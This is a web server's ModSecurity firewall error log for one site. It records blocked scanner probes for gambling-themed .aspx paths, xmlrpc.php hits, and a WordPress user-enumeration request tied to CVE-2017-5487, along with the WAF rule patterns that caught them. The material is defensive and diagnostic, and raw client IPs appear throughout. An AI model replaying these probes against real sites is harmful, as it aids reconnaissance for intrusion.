[Fri May 08 17:22:13.863589 2026] [:error] [pid 61356:tid 61393] [client 217.182.195.225:33692] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "af2rRYx3vpB8oWhUq2NX8wAAAcU"]
[Fri May 08 17:22:15.739630 2026] [:error] [pid 61355:tid 61377] [client 217.182.195.225:33694] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "af2rR_khJTi30CBXmMl26QAAAZA"]
[Fri May 08 17:22:17.748202 2026] [:error] [pid 51009:tid 51090] [client 217.182.195.225:48136] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "af2rSeB0GbUWhxgzX9ULBgAAAI4"]
[Fri May 08 17:22:19.755309 2026] [:error] [pid 51009:tid 51098] [client 217.182.195.225:48142] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "af2rS-B0GbUWhxgzX9ULCgAAAJY"]
[Fri May 08 17:22:21.779543 2026] [:error] [pid 61356:tid 61398] [client 217.182.195.225:48154] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "af2rTYx3vpB8oWhUq2NX_AAAAco"]
[Fri May 08 17:22:23.641833 2026] [:error] [pid 61356:tid 61388] [client 217.182.195.225:48158] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "af2rT4x3vpB8oWhUq2NYAwAAAcA"]
[Fri May 08 17:22:25.656952 2026] [:error] [pid 61317:tid 61327] [client 217.182.195.225:48166] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "af2rUc-fFk_CedOCOYukbgAAAUc"]
[Fri May 08 17:22:27.671969 2026] [:error] [pid 51009:tid 51086] [client 217.182.195.225:43602] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "af2rU-B0GbUWhxgzX9ULEgAAAIo"]
[Fri May 08 17:22:29.699462 2026] [:error] [pid 61356:tid 61402] [client 217.182.195.225:43608] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "af2rVYx3vpB8oWhUq2NYDAAAAc4"]
[Fri May 08 17:22:31.561489 2026] [:error] [pid 51008:tid 51063] [client 217.182.195.225:43612] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "af2rV3B58C2Y1tgLtuKBGwAAAE4"]
[Fri May 08 17:22:33.583223 2026] [:error] [pid 61317:tid 61329] [client 217.182.195.225:43620] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "af2rWc-fFk_CedOCOYukdQAAAUk"]
[Fri May 08 17:22:35.604930 2026] [:error] [pid 34318:tid 34320] [client 217.182.195.225:43628] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "af2rW8r3guirgJiKhzDErgAAAQA"]
[Fri May 08 17:22:37.637012 2026] [:error] [pid 61356:tid 61412] [client 217.182.195.225:44434] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "af2rXYx3vpB8oWhUq2NYFgAAAdg"]
[Fri May 08 17:22:39.525139 2026] [:error] [pid 61317:tid 61335] [client 217.182.195.225:44438] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "af2rX8-fFk_CedOCOYukeQAAAU8"]
[Fri May 08 17:22:41.521992 2026] [:error] [pid 61356:tid 61394] [client 217.182.195.225:44450] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "af2rYYx3vpB8oWhUq2NYGwAAAcY"]
[Fri May 08 17:22:43.406903 2026] [:error] [pid 61356:tid 61403] [client 217.182.195.225:44460] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "af2rY4x3vpB8oWhUq2NYIwAAAc8"]
[Fri May 08 17:22:45.433116 2026] [:error] [pid 61355:tid 61377] [client 217.182.195.225:44474] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "af2rZfkhJTi30CBXmMl3EwAAAZA"]
[Fri May 08 17:22:47.451835 2026] [:error] [pid 51009:tid 51099] [client 217.182.195.225:53572] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "af2rZ-B0GbUWhxgzX9ULIQAAAJc"]
[Fri May 08 17:22:49.444506 2026] [:error] [pid 51113:tid 51125] [client 217.182.195.225:53580] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "af2raUQfs7sWtqkpQIdlkgAAAMo"]
[Fri May 08 17:22:51.441508 2026] [:error] [pid 61356:tid 61407] [client 217.182.195.225:53588] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "af2ra4x3vpB8oWhUq2NYLgAAAdM"]
[Fri May 08 17:22:53.449320 2026] [:error] [pid 61355:tid 61366] [client 217.182.195.225:53594] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "af2rbfkhJTi30CBXmMl3HwAAAYU"]
[Fri May 08 17:22:55.444440 2026] [:error] [pid 61355:tid 61374] [client 217.182.195.225:53602] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "af2rb_khJTi30CBXmMl3IgAAAY0"]
[Fri May 08 17:22:57.443769 2026] [:error] [pid 61356:tid 61390] [client 217.182.195.225:42406] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "af2rcYx3vpB8oWhUq2NYNwAAAcI"]
[Fri May 08 17:24:25.341068 2026] [:error] [pid 61355:tid 61379] [client 43.165.126.130:37216] [client 43.165.126.130] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "af2ryfkhJTi30CBXmMl3lgAAAZI"]
[Fri May 08 17:46:14.411928 2026] [:error] [pid 61355:tid 61370] [client 117.195.204.23:62816] [client 117.195.204.23] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 117.195.204.23, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "af2w5vkhJTi30CBXmMl9iAAAAYk"]
[Fri May 08 17:46:21.544508 2026] [:error] [pid 61355:tid 61378] [client 117.195.204.23:63092] [client 117.195.204.23] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 117.195.204.23, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "af2w7fkhJTi30CBXmMl9sQAAAZE"]
[Fri May 08 17:46:32.111748 2026] [:error] [pid 51113:tid 51119] [client 117.195.204.23:63462] [client 117.195.204.23] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 117.195.204.23, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "af2w-EQfs7sWtqkpQIdnbQAAAMQ"]
[Fri May 08 17:46:42.772521 2026] [:error] [pid 51007:tid 51028] [client 117.195.204.23:63860] [client 117.195.204.23] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 117.195.204.23, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "af2xAlMagSGstWKyzzXVTQAAAAY"]
[Fri May 08 17:46:53.481002 2026] [:error] [pid 61356:tid 61390] [client 117.195.204.23:64259] [client 117.195.204.23] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 117.195.204.23, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "af2xDYx3vpB8oWhUq2Ng-wAAAcI"]
[Fri May 08 17:47:04.129229 2026] [:error] [pid 51008:tid 51063] [client 117.195.204.23:64633] [client 117.195.204.23] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 117.195.204.23, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "af2xGHB58C2Y1tgLtuKE5QAAAE4"]
[Fri May 08 17:58:51.415469 2026] [:error] [pid 34318:tid 34331] [client 157.66.26.248:37726] [client 157.66.26.248] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "af2z28r3guirgJiKhzDIHgAAAQs"]
[Fri May 08 18:36:57.256500 2026] [:error] [pid 61356:tid 61395] [client 216.25.190.109:10730] [client 216.25.190.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "af28yYx3vpB8oWhUq2N5twAAAcc"]
[Fri May 08 18:36:57.704577 2026] [:error] [pid 61356:tid 61408] [client 216.25.190.109:58875] [client 216.25.190.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "af28yYx3vpB8oWhUq2N5uAAAAdQ"]
[Fri May 08 18:36:58.145964 2026] [:error] [pid 61356:tid 61402] [client 216.25.190.109:58880] [client 216.25.190.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "af28yox3vpB8oWhUq2N5ugAAAc4"]
[Fri May 08 18:37:00.180772 2026] [:error] [pid 61317:tid 61323] [client 216.25.190.109:58937] [client 216.25.190.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "af28zM-fFk_CedOCOYuyggAAAUM"]
[Fri May 08 18:37:00.622126 2026] [:error] [pid 61317:tid 61335] [client 216.25.190.109:58950] [client 216.25.190.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "af28zM-fFk_CedOCOYuygwAAAU8"]
[Fri May 08 18:37:02.821810 2026] [:error] [pid 61356:tid 61411] [client 216.25.190.109:58993] [client 216.25.190.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "af28zox3vpB8oWhUq2N5vQAAAdc"]
[Fri May 08 18:37:03.248469 2026] [:error] [pid 61356:tid 61389] [client 216.25.190.109:59002] [client 216.25.190.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "af28z4x3vpB8oWhUq2N5wQAAAcE"]
[Fri May 08 18:37:05.446669 2026] [:error] [pid 61356:tid 61409] [client 216.25.190.109:59046] [client 216.25.190.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "af280Yx3vpB8oWhUq2N5yQAAAdU"]
[Fri May 08 18:37:05.875945 2026] [:error] [pid 61355:tid 61380] [client 216.25.190.109:59056] [client 216.25.190.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "af280fkhJTi30CBXmMmPpwAAAZM"]
[Fri May 08 18:37:08.335683 2026] [:error] [pid 61355:tid 61364] [client 216.25.190.109:59123] [client 216.25.190.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "af281PkhJTi30CBXmMmPsAAAAYM"]
[Fri May 08 18:37:08.761021 2026] [:error] [pid 61355:tid 61376] [client 216.25.190.109:59131] [client 216.25.190.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "af281PkhJTi30CBXmMmPsQAAAY8"]
[Fri May 08 18:37:10.867892 2026] [:error] [pid 61355:tid 61365] [client 216.25.190.109:59200] [client 216.25.190.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "af281vkhJTi30CBXmMmPuQAAAYQ"]
[Fri May 08 18:37:11.306230 2026] [:error] [pid 51008:tid 51056] [client 216.25.190.109:59211] [client 216.25.190.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "af2813B58C2Y1tgLtuKOxAAAAEc"]
[Fri May 08 18:37:13.276732 2026] [:error] [pid 34318:tid 34335] [client 216.25.190.109:59253] [client 216.25.190.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "af282cr3guirgJiKhzDNhAAAAQ8"]
[Fri May 08 18:37:13.713152 2026] [:error] [pid 51009:tid 51082] [client 216.25.190.109:59264] [client 216.25.190.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "af282eB0GbUWhxgzX9UgpQAAAIY"]
[Fri May 08 18:37:15.903412 2026] [:error] [pid 51008:tid 51057] [client 216.25.190.109:59315] [client 216.25.190.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "af2823B58C2Y1tgLtuKOxgAAAEg"]
[Fri May 08 18:37:16.331910 2026] [:error] [pid 61356:tid 61396] [client 216.25.190.109:59330] [client 216.25.190.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "af283Ix3vpB8oWhUq2N52AAAAcg"]
[Fri May 08 18:37:18.462759 2026] [:error] [pid 51009:tid 51080] [client 216.25.190.109:59367] [client 216.25.190.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "af283uB0GbUWhxgzX9UgqQAAAIQ"]
[Fri May 08 18:37:18.889565 2026] [:error] [pid 51008:tid 51054] [client 216.25.190.109:59377] [client 216.25.190.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "af283nB58C2Y1tgLtuKOyQAAAEU"]
[Fri May 08 18:37:21.097184 2026] [:error] [pid 61356:tid 61398] [client 216.25.190.109:59414] [client 216.25.190.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "af284Yx3vpB8oWhUq2N54AAAAco"]
[Fri May 08 18:37:21.524225 2026] [:error] [pid 51009:tid 51093] [client 216.25.190.109:59423] [client 216.25.190.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "af284eB0GbUWhxgzX9UgrAAAAJE"]
[Fri May 08 18:37:23.590307 2026] [:error] [pid 61356:tid 61403] [client 216.25.190.109:59466] [client 216.25.190.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "af2844x3vpB8oWhUq2N55AAAAc8"]
[Fri May 08 18:37:24.052605 2026] [:error] [pid 51007:tid 51030] [client 216.25.190.109:59476] [client 216.25.190.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "af285FMagSGstWKyzzXcVQAAAAg"]
[Fri May 08 18:37:26.134183 2026] [:error] [pid 61356:tid 61411] [client 216.25.190.109:59513] [client 216.25.190.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "af285ox3vpB8oWhUq2N55wAAAdc"]
